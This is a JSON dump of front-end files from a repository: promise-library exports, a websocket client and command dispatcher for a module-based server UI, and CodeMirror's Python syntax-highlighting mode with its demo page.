__dependency2__[\"default\"];\n    var denodeify = __dependency3__[\"default\"];\n    var all = __dependency4__[\"default\"];\n    var allSettled = __dependency5__[\"default\"];\n    var race = __dependency6__[\"default\"];\n    var hash = __dependency7__[\"default\"];\n    var rethrow = __dependency8__[\"default\"];\n    var defer = __dependency9__[\"default\"];\n    var config = __dependency10__.config;\n    var configure = __dependency10__.configure;\n    var map = __dependency11__[\"default\"];\n    var resolve = __dependency12__[\"default\"];\n    var reject = __dependency13__[\"default\"];\n    var asap = __dependency14__[\"default\"];\n    var filter = __dependency15__[\"default\"];\n\n    config.async = asap; // default async is asap;\n\n    function async(callback, arg) {\n      config.async(callback, arg);\n    }\n\n    function on() {\n      config.on.apply(config, arguments);\n    }\n\n    function off() {\n      config.off.apply(config, arguments);\n    }\n\n    // Set up instrumentation through `window.__PROMISE_INTRUMENTATION__`\n    if (typeof window !== 'undefined' && typeof window.__PROMISE_INSTRUMENTATION__ === 'object') {\n      var callbacks = window.__PROMISE_INSTRUMENTATION__;\n      configure('instrument', true);\n      for (var eventName in callbacks) {\n        if (callbacks.hasOwnProperty(eventName)) {\n          on(eventName, callbacks[eventName]);\n        }\n      }\n    }\n\n    __exports__.Promise = Promise;\n    __exports__.EventTarget = EventTarget;\n    __exports__.all = all;\n    __exports__.allSettled = allSettled;\n    __exports__.race = race;\n    __exports__.hash = hash;\n    __exports__.rethrow = rethrow;\n    __exports__.defer = defer;\n    __exports__.denodeify = denodeify;\n    __exports__.configure = configure;\n    __exports__.on = on;\n    __exports__.off = off;\n    __exports__.resolve = resolve;\n    __exports__.reject = reject;\n    __exports__.async = async;\n    __exports__.map = map;\n    __exports__.filter = filter;\n  });\nglobal.RSVP = requireModule('rsvp');\n}(window));"
  },
  {
    "path": "ui/js/serverCommands.js",
    "content": "function ServerCommandsHandler() {\n  this.commands = {\n    \"on_listener_message\": this.onListenerMessage,\n    \"on_module_message\": this.onModuleMessage,\n    \"on_error\": this.onError,\n    \"on_info\": this.onInfo,\n    \"hello\": this.onHello,\n    \"on_callback\": this.onCallback\n  };\n  this.statuses = [];\n};\n\nServerCommandsHandler.prototype = {\n\n  parseAndExecuteMessage: function (message) {\n    var parsed = JSON.parse(message);\n    var command = parsed[\"command\"];\n    var args = parsed[\"args\"];\n    var uuid = parsed.uuid;\n    if (!command)\n      return\n    this.commands[command](args, uuid);\n  },\n\n  onCallback: function (args, uuid) {\n    serverCommandsHandler.fireCustomEvent(uuid, args);\n    $(document).unbind(uuid);\n  },\n\n  onListenerMessage: function (args) {\n    serverCommandsHandler.fireCustomEvent(\"on_listener_message\", args);\n  },\n\n  onModuleMessage: function (args) {\n    serverCommandsHandler.fireCustomEvent(\"on_module_message\", args);\n  },\n\n  onHello: function (args) {\n    serverCommandsHandler.fireCustomEvent(\"hello\", args);\n  },\n\n  onError: function (args) {\n    toastr.error(args.message, 'Error', {timeOut: 5000});\n  },\n\n  onInfo: function (args) {\n    toastr.info(args.message);\n  },\n\n  fireCustomEvent: function (event_type, data) {\n    $.event.trigger({\n      type: event_type,\n      args: data\n    });\n  }\n};\n\nserverCommandsHandler = new ServerCommandsHandler();"
  },
  {
    "path": "ui/js/ws.js",
    "content": "// window.onbeforeunload = function() {\n//     websocketHandler.websocket.onclose = function () {}; // disable onclose handler first\n//     websocketHandler.websocket.close();\n// };\ncommonData = {\n    version: '',\n    modules: [],\n    tabs: [],\n    target: \"\",\n    selectedModule: {},\n    serverEnabled: true,\n    serviceMessages: []\n};\n\nvar WebsocketHandler= function() {\n    this.connectionString = 'ws://'+window.location.hostname+':49999/';\n    this.websocket = new WebSocket(this.connectionString);\n    this.websocket.onopen = this.onOpen;\n    this.websocket.onclose = this.onClose;\n    this.websocket.onmessage = this.onMessage;\n    this.websocket.onerror = this.onError;\n};\n\nWebsocketHandler.prototype = {\n    initData: function (evt) {\n        commonData.serverEnabled = true;\n        var hello = function() {\n            var promise = new RSVP.Promise(function(resolve, reject) {\n                guiCommandsHandler.hello(function(res) {\n                    resolve(res);\n                })                \n            })\n            return promise;\n        };\n        var getAllData = function() {\n            var promise = new RSVP.Promise(function(resolve, reject) {\n                guiCommandsHandler.getAllData(function(res) {\n                    resolve(res.args);\n                })\n            });\n            return promise;\n        };\n        // Gets modules names, version, etc\n        var getModulesLog = function() {\n            var promise = new RSVP.Promise(function(resolve, reject) {\n                guiCommandsHandler.getModulesLog(function(res) {\n                    resolve(res.args);\n                })\n            });\n            return promise;\n        }\n        return hello()\n            .then(function(res) {\n                return getAllData();\n            })\n            .then(function(args) {\n                _.extend(commonData, args);\n                return getModulesLog();\n            })\n            .then(function(args) {\n                var tabsData = _.map(args, function(value, key) {\n                    return {\n                        title: key, \n                        content: _.map(value.message, function(message) {\n                            if (message.type == 'image')\n                                message.message =  'data:image/jpg;base64,' + message.message;\n                            return message;\n                        }),\n                        active: false, \n                        useListener: _.size(value.listener) > 0,\n                        listenerMessages: value.listener ? value.listener.message : \"\",\n                        listenerState: value.listener ? value.listener.connected : 0,\n                        state: value.state\n                    }\n                });\n                if (tabsData.length) {\n                    tabsData[0].active = true;\n                }\n                _.extend(commonData, {tabs: tabsData});\n            })\n    },\n    onOpen: function(evt) {\n        toastr.info('Connection to server succeeded');\n        websocketHandler.initData(evt);\n    },\n\n    onClose: function(evt) {\n        commonData.serverEnabled = false;\n        toastr.error('Websocket server is unavailable');\n        console.log(\"Close\")\n    },\n\n    onMessage: function(evt) {\n        // console.log(evt.data);\n        serverCommandsHandler.parseAndExecuteMessage(evt.data);\n    },\n\n    onError: function(evt) {\n        commonData.serverEnabled = false;\n        websocketHandler.websocket.close();\n    },\n\n    doSend: function(message) {\n        websocketHandler.websocket.send(JSON.stringify(message));\n    },\n\n    reconnect: function(){\n        websocketHandler.websocket.close();\n        websocketHandler.websocket = new WebSocket(this.connectionString);\n        websocketHandler.websocket.onopen = this.onOpen;\n        websocketHandler.websocket.onclose = this.onClose;\n        websocketHandler.websocket.onmessage = this.onMessage;\n        websocketHandler.websocket.onerror = this.onError;\n    }\n}\n\nwebsocketHandler = new WebsocketHandler();\nfunction doSend(message, callback){\n    message.uuid = genUUID4();\n    bindEvent(message.uuid, callback);\n    websocketHandler.doSend(message);\n}\nfunction bindEvent(event_type, callback) {\n      $(document).unbind(event_type);\n      $(document).on(event_type, callback);\n}\n\n"
  },
  {
    "path": "ui/mode/python/index.html",
    "content": "<!doctype html>\n\n<title>CodeMirror: Python mode</title>\n<meta charset=\"utf-8\"/>\n<link rel=stylesheet href=\"../../doc/docs.css\">\n\n<link rel=\"stylesheet\" href=\"../../lib/codemirror.css\">\n<script src=\"../../lib/codemirror.js\"></script>\n<script src=\"../../addon/edit/matchbrackets.js\"></script>\n<script src=\"python.js\"></script>\n<style type=\"text/css\">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>\n<div id=nav>\n  <a href=\"http://codemirror.net\"><h1>CodeMirror</h1><img id=logo src=\"../../doc/logo.png\"></a>\n\n  <ul>\n    <li><a href=\"../../index.html\">Home</a>\n    <li><a href=\"../../doc/manual.html\">Manual</a>\n    <li><a href=\"https://github.com/codemirror/codemirror\">Code</a>\n  </ul>\n  <ul>\n    <li><a href=\"../index.html\">Language modes</a>\n    <li><a class=active href=\"#\">Python</a>\n  </ul>\n</div>\n\n<article>\n<h2>Python mode</h2>\n\n    <div><textarea id=\"code\" name=\"code\">\n# Literals\n1234\n0.0e101\n.123\n0b01010011100\n0o01234567\n0x0987654321abcdef\n7\n2147483647\n3L\n79228162514264337593543950336L\n0x100000000L\n79228162514264337593543950336\n0xdeadbeef\n3.14j\n10.j\n10j\n.001j\n1e100j\n3.14e-10j\n\n\n# String Literals\n'For\\''\n\"God\\\"\"\n\"\"\"so loved\nthe world\"\"\"\n'''that he gave\nhis only begotten\\' '''\n'that whosoever believeth \\\nin him'\n''\n\n# Identifiers\n__a__\na.b\na.b.c\n\n#Unicode identifiers on Python3\n# a = x\\ddot\na⃗ = ẍ\n# a = v\\dot\na⃗ = v̇\n\n#F\\vec = m \\cdot a\\vec\nF⃗ = m•a⃗ \n\n# Operators\n+ - * / % & | ^ ~ < >\n== != <= >= <> << >> // **\nand or not in is\n\n#infix matrix multiplication operator (PEP 465)\nA @ B\n\n# Delimiters\n() [] {} , : ` = ; @ .  # Note that @ and . require the proper context on Python 2.\n+= -= *= /= %= &= |= ^=\n//= >>= <<= **=\n\n# Keywords\nas assert break class continue def del elif else except\nfinally for from global if import lambda pass raise\nreturn try while with yield\n\n# Python 2 Keywords (otherwise Identifiers)\nexec print\n\n# Python 3 Keywords (otherwise Identifiers)\nnonlocal\n\n# Types\nbool classmethod complex dict enumerate float frozenset int list object\nproperty reversed set slice staticmethod str super tuple type\n\n# Python 2 Types (otherwise Identifiers)\nbasestring buffer file long unicode xrange\n\n# Python 3 Types (otherwise Identifiers)\nbytearray bytes filter map memoryview open range zip\n\n# Some Example code\nimport os\nfrom package import ParentClass\n\n@nonsenseDecorator\ndef doesNothing():\n    pass\n\nclass ExampleClass(ParentClass):\n    @staticmethod\n    def example(inputStr):\n        a = list(inputStr)\n        a.reverse()\n        return ''.join(a)\n\n    def __init__(self, mixin = 'Hello'):\n        self.mixin = mixin\n\n</textarea></div>\n\n\n<h2>Cython mode</h2>\n\n<div><textarea id=\"code-cython\" name=\"code-cython\">\n\nimport numpy as np\ncimport cython\nfrom libc.math cimport sqrt\n\n@cython.boundscheck(False)\n@cython.wraparound(False)\ndef pairwise_cython(double[:, ::1] X):\n    cdef int M = X.shape[0]\n    cdef int N = X.shape[1]\n    cdef double tmp, d\n    cdef double[:, ::1] D = np.empty((M, M), dtype=np.float64)\n    for i in range(M):\n        for j in range(M):\n            d = 0.0\n            for k in range(N):\n                tmp = X[i, k] - X[j, k]\n                d += tmp * tmp\n            D[i, j] = sqrt(d)\n    return np.asarray(D)\n\n</textarea></div>\n\n    <script>\n      var editor = CodeMirror.fromTextArea(document.getElementById(\"code\"), {\n        mode: {name: \"python\",\n               version: 3,\n               singleLineStringErrors: false},\n        lineNumbers: true,\n        indentUnit: 4,\n        matchBrackets: true\n    });\n\n    CodeMirror.fromTextArea(document.getElementById(\"code-cython\"), {\n        mode: {name: \"text/x-cython\",\n               version: 2,\n               singleLineStringErrors: false},\n        lineNumbers: true,\n        indentUnit: 4,\n        matchBrackets: true\n      });\n    </script>\n    <h2>Configuration Options for Python mode:</h2>\n    <ul>\n      <li>version - 2/3 - The version of Python to recognize.  Default is 2.</li>\n      <li>singleLineStringErrors - true/false - If you have a single-line string that is not terminated at the end of the line, this will show subsequent lines as errors if true, otherwise it will consider the newline as the end of the string. Default is false.</li>\n      <li>hangingIndent - int - If you want to write long arguments to a function starting on a new line, how much that line should be indented. Defaults to one normal indentation unit.</li>\n    </ul>\n    <h2>Advanced Configuration Options:</h2>\n    <p>Usefull for superset of python syntax like Enthought enaml, IPython magics and  questionmark help</p>\n    <ul>\n      <li>singleOperators - RegEx - Regular Expression for single operator matching,  default : <pre>^[\\\\+\\\\-\\\\*/%&amp;|\\\\^~&lt;&gt;!]</pre> including <pre>@</pre> on Python 3</li>\n      <li>singleDelimiters - RegEx - Regular Expression for single delimiter matching, default :  <pre>^[\\\\(\\\\)\\\\[\\\\]\\\\{\\\\}@,:`=;\\\\.]</pre></li>\n      <li>doubleOperators - RegEx - Regular Expression for double operators matching, default : <pre>^((==)|(!=)|(&lt;=)|(&gt;=)|(&lt;&gt;)|(&lt;&lt;)|(&gt;&gt;)|(//)|(\\\\*\\\\*))</pre></li>\n      <li>doubleDelimiters - RegEx - Regular Expressoin for double delimiters matching, default : <pre>^((\\\\+=)|(\\\\-=)|(\\\\*=)|(%=)|(/=)|(&amp;=)|(\\\\|=)|(\\\\^=))</pre></li>\n      <li>tripleDelimiters - RegEx - Regular Expression for triple delimiters matching, default : <pre>^((//=)|(&gt;&gt;=)|(&lt;&lt;=)|(\\\\*\\\\*=))</pre></li>\n      <li>identifiers - RegEx - Regular Expression for identifier, default : <pre>^[_A-Za-z][_A-Za-z0-9]*</pre> on Python 2 and <pre>^[_A-Za-z\\u00A1-\\uFFFF][_A-Za-z0-9\\u00A1-\\uFFFF]*</pre> on Python 3.</li>\n      <li>extra_keywords - list of string - List of extra words ton consider as keywords</li>\n      <li>extra_builtins - list of string - List of extra words ton consider as builtins</li>\n    </ul>\n\n\n    <p><strong>MIME types defined:</strong> <code>text/x-python</code> and <code>text/x-cython</code>.</p>\n  </article>\n"
  },
  {
    "path": "ui/mode/python/python.js",
    "content": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n  \"use strict\";\n\n  function wordRegexp(words) {\n    return new RegExp(\"^((\" + words.join(\")|(\") + \"))\\\\b\");\n  }\n\n  var wordOperators = wordRegexp([\"and\", \"or\", \"not\", \"is\"]);\n  var commonKeywords = [\"as\", \"assert\", \"break\", \"class\", \"continue\",\n                        \"def\", \"del\", \"elif\", \"else\", \"except\", \"finally\",\n                        \"for\", \"from\", \"global\", \"if\", \"import\",\n                        \"lambda\", \"pass\", \"raise\", \"return\",\n                        \"try\", \"while\", \"with\", \"yield\", \"in\"];\n  var commonBuiltins = [\"abs\", \"all\", \"any\", \"bin\", \"bool\", \"bytearray\", \"callable\", \"chr\",\n                        \"classmethod\", \"compile\", \"complex\", \"delattr\", \"dict\", \"dir\", \"divmod\",\n                        \"enumerate\", \"eval\", \"filter\", \"float\", \"format\", \"frozenset\",\n                        \"getattr\", \"globals\", \"hasattr\", \"hash\", \"help\", \"hex\", \"id\",\n                        \"input\", \"int\", \"isinstance\", \"issubclass\", \"iter\", \"len\",\n                        \"list\", \"locals\", \"map\", \"max\", \"memoryview\", \"min\", \"next\",\n                        \"object\", \"oct\", \"open\", \"ord\", \"pow\", \"property\", \"range\",\n                        \"repr\", \"reversed\", \"round\", \"set\", \"setattr\", \"slice\",\n                        \"sorted\", \"staticmethod\", \"str\", \"sum\", \"super\", \"tuple\",\n                        \"type\", \"vars\", \"zip\", \"__import__\", \"NotImplemented\",\n                        \"Ellipsis\", \"__debug__\"];\n  var py2 = {builtins: [\"apply\", \"basestring\", \"buffer\", \"cmp\", \"coerce\", \"execfile\",\n                        \"file\", \"intern\", \"long\", \"raw_input\", \"reduce\", \"reload\",\n                        \"unichr\", \"unicode\", \"xrange\", \"False\", \"True\", \"None\"],\n             keywords: [\"exec\", \"print\"]};\n  var py3 = {builtins: [\"ascii\", \"bytes\", \"exec\", \"print\"],\n             keywords: [\"nonlocal\", \"False\", \"True\", \"None\", \"async\", \"await\"]};\n\n  CodeMirror.registerHelper(\"hintWords\", \"python\", commonKeywords.concat(commonBuiltins));\n\n  function top(state) {\n    return state.scopes[state.scopes.length - 1];\n  }\n\n  CodeMirror.defineMode(\"python\", function(conf, parserConf) {\n    var ERRORCLASS = \"error\";\n\n    var singleDelimiters = parserConf.singleDelimiters || new RegExp(\"^[\\\\(\\\\)\\\\[\\\\]\\\\{\\\\}@,:`=;\\\\.]\");\n    var doubleOperators = parserConf.doubleOperators || new RegExp(\"^((==)|(!=)|(<=)|(>=)|(<>)|(<<)|(>>)|(//)|(\\\\*\\\\*))\");\n    var doubleDelimiters = parserConf.doubleDelimiters || new RegExp(\"^((\\\\+=)|(\\\\-=)|(\\\\*=)|(%=)|(/=)|(&=)|(\\\\|=)|(\\\\^=))\");\n    var tripleDelimiters = parserConf.tripleDelimiters || new RegExp(\"^((//=)|(>>=)|(<<=)|(\\\\*\\\\*=))\");\n\n    if (parserConf.version && parseInt(parserConf.version, 10) == 3){\n        // since http://legacy.python.org/dev/peps/pep-0465/ @ is also an operator\n        var singleOperators = parserConf.singleOperators || new RegExp(\"^[\\\\+\\\\-\\\\*/%&|\\\\^~<>!@]\");\n        var identifiers = parserConf.identifiers|| new RegExp(\"^[_A-Za-z\\u00A1-\\uFFFF][_A-Za-z0-9\\u00A1-\\uFFFF]*\");\n    } else {\n        var singleOperators = parserConf.singleOperators || new RegExp(\"^[\\\\+\\\\-\\\\*/%&|\\\\^~<>!]\");\n        var identifiers = parserConf.identifiers|| new RegExp(\"^[_A-Za-z][_A-Za-z0-9]*\");\n    }\n\n    var hangingIndent = parserConf.hangingIndent || conf.indentUnit;\n\n    var myKeywords = commonKeywords, myBuiltins = commonBuiltins;\n    if(parserConf.extra_keywords != undefined){\n      myKeywords = myKeywords.concat(parserConf.extra_keywords);\n    }\n    if(parserConf.extra_builtins != undefined){\n      myBuiltins = myBuiltins.concat(parserConf.extra_builtins);\n    }\n    if (parserConf.version && parseInt(parserConf.version, 10) == 3) {\n      myKeywords = myKeywords.concat(py3.keywords);\n      myBuiltins = myBuiltins.concat(py3.builtins);\n      var stringPrefixes = new RegExp(\"^(([rb]|(br))?('{3}|\\\"{3}|['\\\"]))\", \"i\");\n    } else {\n      myKeywords = myKeywords.concat(py2.keywords);\n      myBuiltins = myBuiltins.concat(py2.builtins);\n      var stringPrefixes = new RegExp(\"^(([rub]|(ur)|(br))?('{3}|\\\"{3}|['\\\"]))\", \"i\");\n    }\n    var keywords = wordRegexp(myKeywords);\n    var builtins = wordRegexp(myBuiltins);\n\n    // tokenizers\n    function tokenBase(stream, state) {\n      // Handle scope changes\n      if (stream.sol() && top(state).type == \"py\") {\n        var scopeOffset = top(state).offset;\n        if (stream.eatSpace()) {\n          var lineOffset = stream.indentation();\n          if (lineOffset > scopeOffset)\n            pushScope(stream, state, \"py\");\n          else if (lineOffset < scopeOffset && dedent(stream, state))\n            state.errorToken = true;\n          return null;\n        } else {\n          var style = tokenBaseInner(stream, state);\n          if (scopeOffset > 0 && dedent(stream, state))\n            style += \" \" + ERRORCLASS;\n          return style;\n        }\n      }\n      return tokenBaseInner(stream, state);\n    }\n\n    function tokenBaseInner(stream, state) {\n      if (stream.eatSpace()) return null;\n\n      var ch = stream.peek();\n\n      // Handle Comments\n      if (ch == \"#\") {\n        stream.skipToEnd();\n        return \"comment\";\n      }\n\n      // Handle Number Literals\n      if (stream.match(/^[0-9\\.]/, false)) {\n        var floatLiteral = false;\n        // Floats\n        if (stream.match(/^\\d*\\.\\d+(e[\\+\\-]?\\d+)?/i)) { floatLiteral = true; }\n        if (stream.match(/^\\d+\\.\\d*/)) { floatLiteral = true; }\n        if (stream.match(/^\\.\\d+/)) { floatLiteral = true; }\n        if (floatLiteral) {\n          // Float literals may be \"imaginary\"\n          stream.eat(/J/i);\n          return \"number\";\n        }\n        // Integers\n        var intLiteral = false;\n        // Hex\n        if (stream.match(/^0x[0-9a-f]+/i)) intLiteral = true;\n        // Binary\n        if (stream.match(/^0b[01]+/i)) intLiteral = true;\n        // Octal\n        if (stream.match(/^0o[0-7]+/i)) intLiteral = true;\n        // Decimal\n        if (stream.match(/^[1-9]\\d*(e[\\+\\-]?\\d+)?/)) {\n          // Decimal literals may be \"imaginary\"\n          stream.eat(/J/i);\n          // TODO - Can you have imaginary longs?\n          intLiteral = true;\n        }\n        // Zero by itself with no other piece of number.\n        if (stream.match(/^0(?![\\dx])/i)) intLiteral = true;\n        if (intLiteral) {\n          // Integer literals may be \"long\"\n          stream.eat(/L/i);\n          return \"number\";\n        }\n      }\n\n      // Handle Strings\n      if (stream.match(stringPrefixes)) {\n        state.tokenize = tokenStringFactory(stream.current());\n        return state.tokenize(stream, state);\n      }\n\n      // Handle operators and Delimiters\n      if (stream.match(tripleDelimiters) || stream.match(doubleDelimiters))\n        return null;\n\n      if (stream.match(doubleOperators) || stream.match(singleOperators))\n        return \"operator\";\n\n      if (stream.match(singleDelimiters))\n        return null;\n\n      if (stream.match(keywords) || stream.match(wordOperators))\n        return \"keyword\";\n\n      if (stream.match(builtins))\n        return \"builtin\";\n\n      if (stream.match(/^(self|cls)\\b/))\n        return \"variable-2\";\n\n      if (stream.match(identifiers)) {\n        if (state.lastToken == \"def\" || state.lastToken == \"class\")\n          return \"def\";\n        return \"variable\";\n      }\n\n      // Handle non-detected items\n      stream.next();\n      return ERRORCLASS;\n    }\n\n    function tokenStringFactory(delimiter) {\n      while (\"rub\".indexOf(delimiter.charAt(0).toLowerCase()) >= 0)\n        delimiter = delimiter.substr(1);\n\n      var singleline = delimiter.length == 1;\n      var OUTCLASS = \"string\";\n\n      function tokenString(stream, state) {\n        while (!stream.eol()) {\n          stream.eatWhile(/[^'\"\\\\]/);\n          if (stream.eat(\"\\\\\")) {\n            stream.next();\n            if (singleline && stream.eol())\n              return OUTCLASS;\n          } else if (stream.match(delimiter)) {\n            state.tokenize = tokenBase;\n            return OUTCLASS;\n          } else {\n            stream.eat(/['\"]/);\n          }\n        }\n        if (singleline) {\n          if (parserConf.singleLineStringErrors)\n            return ERRORCLASS;\n          else\n            state.tokenize = tokenBase;\n        }\n        return OUTCLASS;\n      }\n      tokenString.isString = true;\n      return tokenString;\n    }\n\n    function pushScope(stream, state, type) {\n      var offset = 0, align = null;\n      if (type == \"py\") {\n        while (top(state).type != \"py\")\n          state.scopes.pop();\n      }\n      offset = top(state).offset + (type == \"py\" ? conf.indentUnit : hangingIndent);\n      if (type != \"py\" && !stream.match(/^(\\s|#.*)*$/, false))\n        align = stream.column() + 1;\n      state.scopes.push({offset: offset, type: type, align: align});\n    }\n\n    function dedent(stream, state) {\n      var indented = stream.indentation();\n      while (top(state).offset > indented) {\n        if (top(state).type != \"py\") return true;\n        state.scopes.pop();\n      }\n      return top(state).offset != indented;\n    }\n\n    function tokenLexer(stream, state) {\n      var style = state.tokenize(stream, state);\n      var current = stream.current();\n\n      // Handle '.' connected identifiers\n      if (current == \".\") {\n        style = stream.match(identifiers, false) ? null : ERRORCLASS;\n        if (style == null && state.lastStyle == \"meta\") {\n          // Apply 'meta' style to '.' connected identifiers when\n          // appropriate.\n          style = \"meta\";\n        }\n        return style;\n      }\n\n      // Handle decorators\n      if (current == \"@\"){\n        if(parserConf.version && parseInt(parserConf.version, 10) == 3){\n            return stream.match(identifiers, false) ? \"meta\" : \"operator\";\n        } else {\n            return stream.match(identifiers, false) ? \"meta\" : ERRORCLASS;\n        }\n      }\n\n      if ((style == \"variable\" || style == \"builtin\")\n          && state.lastStyle == \"meta\")\n        style = \"meta\";\n\n      // Handle scope changes.\n      if (current == \"pass\" || current == \"return\")\n        state.dedent += 1;\n\n      if (current == \"lambda\") state.lambda = true;\n      if (current == \":\" && !state.lambda && top(state).type == \"py\")\n        pushScope(stream, state, \"py\");\n\n      var delimiter_index = current.length == 1 ? \"[({\".indexOf(current) : -1;\n      if (delimiter_index != -1)\n        pushScope(stream, state, \"])}\".slice(delimiter_index, delimiter_index+1));\n\n      delimiter_index = \"])}\".indexOf(current);\n      if (delimiter_index != -1) {\n        if (top(state).type == current) state.scopes.pop();\n        else return ERRORCLASS;\n      }\n      if (state.dedent > 0 && stream.eol() && top(state).type == \"py\") {\n        if (state.scopes.length > 1) state.scopes.pop();\n        state.dedent -= 1;\n      }\n\n      return style;\n    }\n\n    var external = {\n      startState: function(basecolumn) {\n        return {\n          tokenize: tokenBase,\n          scopes: [{offset: basecolumn || 0, type: \"py\", align: null}],\n          lastStyle: null,\n          lastToken: null,\n          lambda: false,\n          dedent: 0\n        };\n      },\n\n      token: function(stream, state) {\n        var addErr = state.errorToken;\n        if (addErr) state.errorToken = false;\n        var style = tokenLexer(stream, state);\n\n        state.lastStyle = style;\n\n        var current = stream.current();\n        if (current && style)\n          state.lastToken = current;\n\n        if (stream.eol() && state.lambda)\n          state.lambda = false;\n        return addErr ? style + \" \" + ERRORCLASS : style;\n      },\n\n      indent: function(state, textAfter) {\n        if (state.tokenize != tokenBase)\n          return state.tokenize.isString ? CodeMirror.Pass : 0;\n\n        var scope = top(state);\n        var closing = textAfter && textAfter.charAt(0) == scope.type;\n        if (scope.align != null)\n          return scope.align - (closing ? 1 : 0);\n        else if (closing && state.scopes.length > 1)\n          return state.scopes[state.scopes.length - 2].offset;\n        else\n          return scope.offset;\n      },\n\n      closeBrackets: {triples: \"'\\\"\"},\n      lineComment: \"#\",\n      fold: \"indent\"\n    };\n    return external;\n  });\n\n  CodeMirror.defineMIME(\"text/x-python\", \"python\");\n\n  var words = function(str) { return str.split(\" \"); };\n\n  CodeMirror.defineMIME(\"text/x-cython\", {\n    name: \"python\",\n    extra_keywords: words(\"by cdef cimport cpdef ctypedef enum except\"+\n                          \"extern gil include nogil property public\"+\n                          \"readonly struct union DEF IF ELIF ELSE\")\n  });\n\n});\n"
  }
]